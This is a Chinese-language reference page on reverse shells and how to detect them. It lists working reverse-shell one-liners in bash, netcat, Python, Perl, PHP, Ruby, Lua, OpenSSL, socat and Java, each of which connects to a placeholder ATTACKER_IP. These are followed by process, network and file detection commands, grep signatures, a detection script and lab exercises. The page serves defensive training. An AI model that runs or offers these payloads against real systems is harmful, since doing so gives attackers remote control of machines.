反弹 Shell 技术与检测大全
反弹 Shell (Reverse Shell) 是攻击者最常用的远程控制手段,本页汇总 10+ 种语言的反弹 shell 及对应检测方法
关联:05-进程与网络分析 | 02-排查命令速查
反弹 Shell 原理
正向 Shell vs 反弹 Shell
正向 Shell(Bind Shell):目标机监听端口,攻击者主动连接
缺点:容易被防火墙拦截
反弹 Shell(Reverse Shell):攻击者监听端口,目标机主动连接回来
优点:绕过入站防火墙规则(出站通常不限制)
1 2 3 4 5
| 正向 Shell: 攻击者 ──连接──▶ 目标:4444 (监听)
反弹 Shell: 攻击者:4444 (监听) ◀──连接── 目标 (主动连出)
|
反弹 Shell 的本质
将目标机的 stdin/stdout/stderr 重定向到一个网络 socket
攻击者通过这个 socket 发送命令、接收输出
反弹 Shell 技术大全
1. Bash 反弹
1 2 3 4 5 6 7 8
| bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
exec 5<>/dev/tcp/ATTACKER_IP/PORT; cat <&5 | while read line; do $line 2>&5 >&5; done
0<&196;exec 196<>/dev/tcp/ATTACKER_IP/PORT; bash <&196 >&196 2>&196
|
进程特征:bash -i,fd 中有 socket
检测:ps aux | grep "bash -i" + ls -la /proc/PID/fd/ | grep socket
2. Netcat (nc) 反弹
1 2 3 4 5 6 7 8
| nc -e /bin/bash ATTACKER_IP PORT
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc ATTACKER_IP PORT > /tmp/f
ncat ATTACKER_IP PORT -e /bin/bash
|
检测:ps aux | grep "nc.*-e\|ncat" + find /tmp -name "f" -type p(命名管道)
3. Python 反弹
1 2 3 4
| python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER_IP",PORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'
|
检测:ps aux | grep "python.*socket\|python.*import"
4. Perl 反弹
1 2 3 4
| perl -e 'use Socket;$i="ATTACKER_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ATTACKER_IP:PORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
检测:ps aux | grep "perl.*socket\|perl.*Socket"
5. PHP 反弹
1 2 3 4
| php -r '$sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/bash -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("ATTACKER_IP",PORT);$proc=proc_open("/bin/bash -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'
|
检测:ps aux | grep "php.*fsockopen\|php.*exec"
6. Ruby 反弹
1 2 3 4
| ruby -rsocket -e 'f=TCPSocket.open("ATTACKER_IP",PORT).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ATTACKER_IP",PORT);loop{c.gets.chomp!;(exit! if $_=="exit");IO.popen($_,"r"){|io|c.print io.read}}'
|
7. Lua 反弹
1
| lua -e "require('socket');require('os');t=socket.tcp();t:connect('ATTACKER_IP','PORT');os.execute('/bin/bash -i <&3 >&3 2>&3');"
|
8. OpenSSL 加密反弹(检测难度高)
1 2 3 4 5
| openssl s_server -quiet -key key.pem -cert cert.pem -port PORT
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER_IP:PORT > /tmp/s; rm /tmp/s
|
检测难度高:流量加密,无法通过内容检测
检测方法:进程参数中的 openssl s_client + 命名管道
9. Socat 反弹(功能最强)
1 2 3 4 5
| socat exec:'bash -i',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:PORT
socat OPENSSL:ATTACKER_IP:PORT,verify=0 EXEC:/bin/bash,pty,stderr,setsid
|
检测:ps aux | grep socat
10. Java 反弹
1 2
| java -cp /tmp Runtime.getRuntime().exec(new String[]{"bash","-c","bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"})
|
在 Tomcat 环境中,攻击者可能通过 JSP webshell 或反序列化执行
检测方法总览
网络层检测
1 2 3 4 5 6 7 8 9 10 11 12
| ss -antlp state established | grep -v "127.0.0.1\|::1"
ss -antlp | grep -E ":4444|:5555|:6666|:7777|:8888|:9999|:1234|:31337"
ss -antop state established
lsof -i -nP | grep ESTABLISHED
|
进程层检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| ps auxef | grep -iE "bash -i|/dev/tcp|nc.*-e|ncat.*-e|python.*socket|perl.*socket|php.*fsockopen|ruby.*TCPSocket|socat|openssl.*s_client"
for pid in $(ps -eo pid --no-headers); do fd_count=$(ls /proc/$pid/fd 2>/dev/null | wc -l) socket_count=$(ls -la /proc/$pid/fd 2>/dev/null | grep -c socket) if [ "$socket_count" -gt 0 ]; then cmd=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ') echo "PID=$pid SOCKETS=$socket_count CMD=$cmd" fi done 2>/dev/null | grep -iE "bash|sh|python|perl|php|ruby|nc"
cat /proc/net/tcp | awk '$4 == "01"' | while read line; do local_port=$((16#$(echo $line | awk '{print $2}' | cut -d: -f2))) remote_ip_hex=$(echo $line | awk '{print $3}' | cut -d: -f1) remote_port=$((16#$(echo $line | awk '{print $3}' | cut -d: -f2))) echo "LOCAL:$local_port -> REMOTE_PORT:$remote_port" done
|
文件层检测
1 2 3 4 5
| find /tmp /var/tmp /dev/shm -type p 2>/dev/null
find /tmp /var/tmp /dev/shm -type f -executable -mtime -1 2>/dev/null
|
反弹 Shell 特征对比表
| 类型 |
进程关键字 |
端口特征 |
文件特征 |
检测难度 |
| Bash /dev/tcp |
bash -i |
直连外部端口 |
无文件 |
⭐ 低 |
| Netcat -e |
nc -e /bin/bash |
直连 |
可能有管道文件 |
⭐ 低 |
| Netcat 管道 |
nc + cat + bash |
直连 |
/tmp/f 管道 |
⭐⭐ 中 |
| Python |
python.*socket |
直连 |
无文件 |
⭐⭐ 中 |
| Perl |
perl.*socket |
直连 |
无文件 |
⭐⭐ 中 |
| PHP |
php.*fsockopen |
直连 |
无文件 |
⭐⭐ 中 |
| OpenSSL |
openssl s_client |
TLS 加密 |
可能有管道 |
⭐⭐⭐ 高 |
| Socat TLS |
socat OPENSSL |
TLS 加密 |
无文件 |
⭐⭐⭐ 高 |
| Meterpreter |
无明显关键字 |
加密 |
内存驻留 |
⭐⭐⭐⭐ 极高 |
一键反弹 Shell 检测脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| #!/bin/bash
RED='\033[0;31m' GREEN='\033[0;32m' NC='\033[0m'
echo "=== 反弹 Shell 检测 ===" echo ""
echo "[1] 进程关键字匹配:" ps auxef | grep -iE "bash -i|/dev/tcp|nc.*-e|ncat|python.*socket|perl.*Socket|php.*fsockopen|ruby.*TCPSocket|socat|openssl.*s_client" | grep -v grep
echo "" echo "[2] 异常外连端口:" ss -antlp state established 2>/dev/null | grep -vE "127\.0\.0\.1|::1|:22 |:80 |:443 "
echo "" echo "[3] Shell 进程的 socket 连接:" for pid in $(pgrep -x "bash\|sh\|dash\|zsh"); do sockets=$(ls -la /proc/$pid/fd 2>/dev/null | grep -c socket) if [ "$sockets" -gt 0 ]; then cmd=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ') echo -e " ${RED}[!] PID=$pid SOCKETS=$sockets CMD=$cmd${NC}" fi done
echo "" echo "[4] 命名管道(可能的 nc 管道反弹):" find /tmp /var/tmp /dev/shm -type p 2>/dev/null
echo "" echo "[5] 异常端口监听:" ss -antlp | grep -vE ":22 |:80 |:443 |:3306 |:6379 " | grep LISTEN
echo "" echo "=== 检测完成 ==="
|
实战练习
配套实验:labs/19-reverse-shells/
练习场景
实验环境中同时运行了多种类型的反弹 shell
目标:使用本页的检测方法全部找出来
挑战:加密反弹 shell 如何检测?
排查步骤建议
ss -antlp state established 先看异常外连
ps auxef 找可疑进程
逐个检查可疑进程的 /proc/PID/fd/
使用 strace 跟踪可疑进程的网络活动
杀掉反弹 shell 进程
排查持久化(crontab, systemd, bashrc 等)